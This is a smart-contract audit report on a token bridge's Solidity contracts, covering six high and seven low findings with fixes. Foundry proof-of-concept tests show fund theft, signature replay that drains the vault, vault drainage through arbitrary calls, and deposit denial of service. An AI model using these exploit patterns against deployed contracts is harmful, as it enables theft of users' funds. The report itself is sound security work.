Ramil Must

Protocol Audit Report

Version 1.0

Ramil Mustafin

July 22, 2025

Protocol Audit Report

Ramil Mustafin

July 22, 2025

Prepared by: Ramil Mustafin

Table of Contents

    * [H-5] `TokenFactory::deployToken` uses CREATE opcode which is incompatible with zkSync Era
    * [H-6] `L1BossBridge::depositTokensToL2`'s DEPOSIT_LIMIT check allows contract to be DoS'd
  - Low
    * [L-1]: Centralization Risk for trusted owners
    * [L-2]: Unsafe ERC20 Operations should not be used
    * [L-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [L-4]: **`public`** functions not used internally could be marked `external`
    * [L-5]: Event is missing `indexed` fields
    * [L-6]: PUSH0 is not supported by all chains
    * [L-7]: Large literal values multiples of 10000 can be replaced with scientific notation

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

Disclaimer

Ramil Mustafin makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the security researcher is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

	Impact			
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash: Commit Hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    - L1BossBridge.sol
    - L1Token.sol
    - L1Vault.sol
    - TokenFactory.sol
  - ZKSync Era:
    - TokenFactory.sol
  - Tokens:
    - L1Token.sol (And copies, with different names & initial supplies)
```

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)

- Signer: Users who can “send” a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

The audit revealed 13 vulnerabilities, including 6 categories of High, which affect deposit validation, vault access control, signature replay protection, and cross-chain compatibility. The most critical bugs allow an attacker to steal user funds and drain the entire vault through multiple attack vectors. Manual analysis and foundry testing were used during the security-research process.

Issues found

Severity	Number of issues found
High	6
Medium	0
Low	7
Info	0
Gas	0
Total	13

Findings

High

[H-1] `L1BossBridge::depositTokensToL2` doesn’t validate `msg.sender` allowing attackers to steal funds

Description: After a user approves spending of tokens, an attacker can exploit the fact that `L1BossBridge::depositTokensToL2` doesn’t validate `msg.sender`. The attacker calls the method with their address as `l2Recipient`, allowing them to steal all approved funds.

```
    function depositTokensToL2(address from, address l2Recipient,
       uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
        token.safeTransferFrom(from, address(vault), amount);

        emit Deposit(from, l2Recipient, amount);
    }
```

Impact: Users lose their approved funds

Proof of Concept: 1. User approves an amount of funds to transfer from L1 to L2 2. Attacker calls `L1BossBridge::depositTokensToL2` with parameter `l2Recipient` which contains the attacker's address on L2 3. Funds are stolen

Add this test to your test file to verify the vulnerability:

PoC

```
    function testCanMoveApprovedTokenToAnotherAddress() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);
        uint256 depositAmount = token.balanceOf(address(user));

        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assertEq(token.balanceOf(address(vault)), depositAmount);
        assertEq(token.balanceOf(address(user)), 0);
        vm.stopPrank();
    }
```

Recommended Mitigation: The `from` parameter in `L1BossBridge::depositTokensToL2` should be replaced with `msg.sender` to ensure only the caller can transfer their own tokens.

[H-2] `L1BossBridge::depositTokensToL2` allows attackers to mint free tokens on L2 by exploiting vault's approval

Description: Because `L1Vault` approves `L1BossBridge` to spend `type(uint256).max` tokens in the constructor, an attacker can exploit the lack of `msg.sender` validation in `L1BossBridge::depositTokensToL2`. The attacker can call the method with `address(vault)` as `from` parameter and their address as `l2Recipient`, effectively minting tokens on L2 without any real deposit.

```
    function depositTokensToL2(address from, address l2Recipient,
        uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
        token.safeTransferFrom(from, address(vault), amount);

        emit Deposit(from, l2Recipient, amount);
    }
```

Impact: Attackers can mint unlimited tokens on L2 without providing any real funds

Proof of Concept: 1. Vault approves `type(uint256).max` amount of funds to `L1BossBridge` in the constructor 2. Attacker calls `L1BossBridge::depositTokensToL2` with `from = address(vault)` and `l2Recipient` as the attacker's address on L2 3. Tokens are transferred from vault to vault (no net change on L1), but the `Deposit` event is emitted 4. Off-chain service mints tokens for the attacker on L2 based on the event

Add this test to your test file to verify the vulnerability:

PoC

```
    function testCanTransferFromVaultToVault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
    }
```

Recommended Mitigation: The `from` parameter in `L1BossBridge::depositTokensToL2` should be replaced with `msg.sender` to ensure only the caller can transfer their own tokens.

[H-3] `L1BossBridge::withdrawTokensToL1` lacks replay protection, enabling vault drainage

Description: Users can withdraw tokens from L2 using `withdrawTokensToL1`, but this function only takes signature parameters (`v`, `r`, `s`) without any nonce or salt for replay protection. This allows valid signatures to be reused multiple times, leading to complete drainage of the vault.

Impact: Complete loss of funds in the vault through signature replay attacks

Proof of Concept: 1. Attacker makes a legitimate deposit and receives a valid withdrawal signature 2. Attacker replays the same signature multiple times to drain the vault 3. All vault funds are stolen

Add this test to your test file to verify the vulnerability:

PoC

```
function testSignatureReplay() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance);

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker, attackerInitialBalance);

        bytes memory message = abi.encode(
            address(token), 0, abi.encodeCall(IERC20.transferFrom,
            (address(vault), attacker, attackerInitialBalance)));

        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key, MessageHashUtils.toEthSignedMessageHash(keccak256(message)));

        while(token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(address(vault)), 0);
        assertEq(token.balanceOf(address(attacker)), vaultInitialBalance + attackerInitialBalance);
        vm.stopPrank();
    }
```

Recommended Mitigation: Implement replay protection by adding a nonce mapping and including the nonce in the signed message. Consider using OpenZeppelin's `EIP712` standard for structured data signing with replay protection.

[H-4] `L1BossBridge::sendToL1` allows arbitrary calls enabling attackers to drain vault through `L1Vault::approveTo`

Description: The `L1BossBridge::sendToL1` function accepts arbitrary low-level calls to any target with valid operator signatures, without restricting the target address or calldata. Since

`L1BossBridge` owns `L1Vault`, an attacker can craft a malicious call to execute `L1Vault::approveTo`, granting themselves unlimited allowance to drain the vault completely.

```
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
    public nonReentrant whenNotPaused {
    address signer = ECDSA.recover(MessageHashUtils.
        toEthSignedMessageHash(keccak256(message)), v, r, s);

    if (!signers[signer]) {
        revert L1BossBridge__Unauthorized();
    }

    (address target, uint256 value, bytes memory data) = abi.decode(
        message, (address, uint256, bytes));
    (bool success,) = target.call{ value: value }(data);
    if (!success) {
        revert L1BossBridge__CallFailed();
    }
}
```

Impact: Complete drainage of vault funds through unlimited token approval exploit

Proof of Concept: 1. Attacker makes a minimal deposit to satisfy off-chain operator validation requirements 2. Attacker crafts a malicious message targeting `L1Vault::approveTo` to grant themselves `type(uint256).max` allowance 3. Off-chain operator signs the withdrawal request (assuming basic validation only checks for prior deposits) 4. Attacker calls `sendToL1` with the signed message, executing `vault.approveTo(attacker, type(uint256).max)` 5. Attacker drains entire vault using `token.transferFrom(vault, attacker, vaultBalance)`

Add this test to your test file to verify the vulnerability:

PoC

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);
    address attacker = makeAddr("attacker");

    // Attacker makes minimal deposit to satisfy operator validation
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Craft malicious message to call vault.approveTo
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
            uint256).max)) // data
```

```
17      );
18      (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
            key);
19
20      tokenBridge.sendToL1(v, r, s, message);
21      assertEq(token.allowance(address(vault), attacker), type(uint256).
            max);
22
23      // Drain the vault
24      token.transferFrom(address(vault), attacker, token.balanceOf(
            address(vault)));
25      assertEq(token.balanceOf(address(vault)), 0);
26      assertEq(token.balanceOf(address(attacker)), vaultInitialBalance);
27      vm.stopPrank();
28  }
```

Recommended Mitigation: Implement access controls to prevent arbitrary calls to sensitive bridge components. Consider creating a whitelist of allowed target contracts or adding specific restrictions to prevent calls to the `L1Vault` contract from the bridge.

[H-5] `TokenFactory::deployToken` uses CREATE opcode which is incompatible with zkSync Era

Description: The `TokenFactory::deployToken` function uses inline assembly with the CREATE opcode to deploy new token contracts. However, zkSync Era does not support the CREATE opcode in the same way as Ethereum mainnet, which will cause the function to fail when deployed on zkSync Era. This breaks the core functionality of the TokenFactory contract. Docs Reference: https://docs.zksync.io/build/developer-reference/differences-with-ethereum.html#create-create2

```
1  function deployToken(string memory symbol, bytes memory
       contractBytecode) public onlyOwner returns (address addr) {
2      assembly {
3          addr := create(0, add(contractBytecode, 0x20), mload(
               contractBytecode))
4      }
5      s_tokenToAddress[symbol] = addr;
6      emit TokenDeployed(symbol, addr);
7  }
```

Impact: Complete failure of token deployment functionality on zkSync Era, breaking the bridge's ability to create new tokens

Proof of Concept: 1. Deploy `TokenFactory` contract on zkSync Era 2. Attempt to call `deployToken` with arbitrary token bytecode 3. Function silently produces broken bytecode or fails completely 4. No new tokens can be deployed, breaking bridge functionality

Technical Details: On EraVM (zkSync Era's virtual machine), contract deployment works fundamentally differently: - Contracts are deployed using bytecode **hash**, not raw bytecode - The `ContractDeployer` system contract handles actual deployment - The compiler must know bytecode at compile time, not runtime - Arbitrary bytecode deployment via `create(0, add(bytecode, 0x20), mload(bytecode))` is **explicitly unsupported**

The current implementation violates EraVM assumptions by trying to deploy contracts from arbitrary runtime-provided bytecode, which will never work on zkSync Era.

Recommended Mitigation: Replace the arbitrary bytecode deployment pattern with zkSync Era compatible methods:

1. **Use standard `new` operator for known contracts:**

```
function deployToken(string memory name, string memory symbol) public
    onlyOwner returns (address addr) {
     L1Token newToken = new L1Token(name, symbol);
     addr = address(newToken);
     s_tokenToAddress[symbol] = addr;
     emit TokenDeployed(symbol, addr);
}
```

2. **Use CREATE2 with predetermined contracts:**

```
function deployToken(string memory symbol, bytes32 salt) public
    onlyOwner returns (address addr) {
     // Only works if compiler knows the bytecode at compile time
     bytes memory bytecode = type(L1Token).creationCode;
     assembly {
         addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
     }
     s_tokenToAddress[symbol] = addr;
     emit TokenDeployed(symbol, addr);
}
```

3. **Consider using proxy patterns for flexibility while maintaining zkSync Era compatibility**

[H-6] `L1BossBridge::depositTokensToL2`'s DEPOSIT_LIMIT check allows contract to be DoS'd

Description: The `L1BossBridge::depositTokensToL2` function uses a global `DEPOSIT_LIMIT` check that compares the vault's current balance plus the deposit amount against a fixed limit. An attacker can exploit this by making a deposit that brings the vault balance very close to the limit, effectively preventing all future deposits and causing a Denial of Service.

```
function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
    token.safeTransferFrom(from, address(vault), amount);

    emit Deposit(from, l2Recipient, amount);
}
```

Impact: Complete denial of service for the bridge's deposit functionality, preventing all users from making deposits

Proof of Concept: 1. Current `DEPOSIT_LIMIT` is set to 100,000 ether with vault balance at 0 2. Attacker deposits 99,999 ether (close to the limit) 3. Vault balance is now 99,999 ether, leaving only 1 ether of deposit capacity 4. Any future deposit greater than 1 ether will cause `vault_balance + amount > DEPOSIT_LIMIT` 5. Most legitimate user deposits (typically > 1 ether) will revert with `L1BossBridge__DepositLimitReached` 6. Bridge functionality is severely limited, creating effective denial of service

Add this test to your test file to verify the vulnerability:

PoC

```
function testDepositLimitDoS() public {
    address attacker = makeAddr("attacker");
    uint256 attackerBalance = 99_999 ether;
    deal(address(token), attacker, attackerBalance);

    vm.startPrank(attacker);
    token.approve(address(tokenBridge), attackerBalance);

    // Attacker deposits close to the full limit
    tokenBridge.depositTokensToL2(attacker, attacker, attackerBalance);
    vm.stopPrank();

    // Now legitimate users cannot deposit more than (DEPOSIT_LIMIT -
        vault balance)
    vm.startPrank(user);
    uint256 userBalance = 2 ether;
    deal(address(token), user, userBalance);
    token.approve(address(tokenBridge), userBalance);

    // This should revert because 99_999 + 2 > 100_000
    vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.
        selector);
    tokenBridge.depositTokensToL2(user, user, userBalance);
    vm.stopPrank();
}
```

Recommended Mitigation: Implement per-user deposit limits instead of (or in addition to) a global vault limit:

```
mapping(address => uint256) public userDeposited;
uint256 public constant PER_USER_LIMIT = 1000 ether;

function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
    if (userDeposited[msg.sender] + amount > PER_USER_LIMIT) {
        revert L1BossBridge__UserLimitReached();
    }

    userDeposited[msg.sender] += amount;
    token.safeTransferFrom(msg.sender, address(vault), amount);
    emit Deposit(msg.sender, l2Recipient, amount);
}
```

Alternatively, consider implementing a withdrawal mechanism that reduces the vault balance to allow new deposits.

Low

[L-1]: Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

8 Found Instances

- Found in src/L1BossBridge.sol Line: 27

```
contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
```

- Found in src/L1BossBridge.sol Line: 49

```
    function pause() external onlyOwner {
```

- Found in src/L1BossBridge.sol Line: 53

```
    function unpause() external onlyOwner {
```

- Found in src/L1BossBridge.sol Line: 57

```
    function setSigner(address account, bool enabled) external
        onlyOwner {
```

- Found in src/L1Vault.sol Line: 12

```
1 contract L1Vault is Ownable {
```

- Found in src/L1Vault.sol Line: 19

```
1     function approveTo(address target, uint256 amount) external
          onlyOwner {
```

- Found in src/TokenFactory.sol Line: 11

```
1 contract TokenFactory is Ownable {
```

- Found in src/TokenFactory.sol Line: 23

```
1     function deployToken(string memory symbol, bytes memory
          contractBytecode) public onlyOwner returns (address addr) {
```

[L-2]: Unsafe ERC20 Operations should not be used

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 99

```
1                 abi.encodeCall(IERC20.transferFrom, (address(vault
                      ), to, amount))
```

- Found in src/L1Vault.sol Line: 20

```
1         token.approve(target, amount);
```

[L-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/L1Vault.sol Line: 16

```
1         token = _token;
```

[L-4]: `public` functions not used internally could be marked `external`

Instead of marking a function as **`public`**, consider marking it as `external` if it is not used internally.

2 Found Instances

- Found in src/TokenFactory.sol Line: 23

```
1       function deployToken(string memory symbol, bytes memory
           contractBytecode) public onlyOwner returns (address addr) {
```

- Found in src/TokenFactory.sol Line: 31

```
1       function getTokenAddressFromSymbol(string memory symbol)
           public view returns (address addr) {
```

[L-5]: Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 40

```
1       event Deposit(address from, address to, uint256 amount);
```

- Found in src/TokenFactory.sol Line: 14

```
1       event TokenDeployed(string symbol, address addr);
```

[L-6]: PUSH0 is not supported by all chains

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

4 Found Instances

- Found in src/L1BossBridge.sol Line: 15

```
1 pragma solidity 0.8.20;
```

- Found in src/L1Token.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/L1Vault.sol Line: 2

```
1 pragma solidity 0.8.20;
```

- Found in src/TokenFactory.sol Line: 2

```
1 pragma solidity 0.8.20;
```

[L-7]: Large literal values multiples of 10000 can be replaced with scientific notation

Use `e` notation, for example: `1e18`, instead of its full numeric value.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 30

```
1     uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

- Found in src/L1Token.sol Line: 7

```
1
2     uint256 private constant INITIAL_SUPPLY = 1_000_000;
```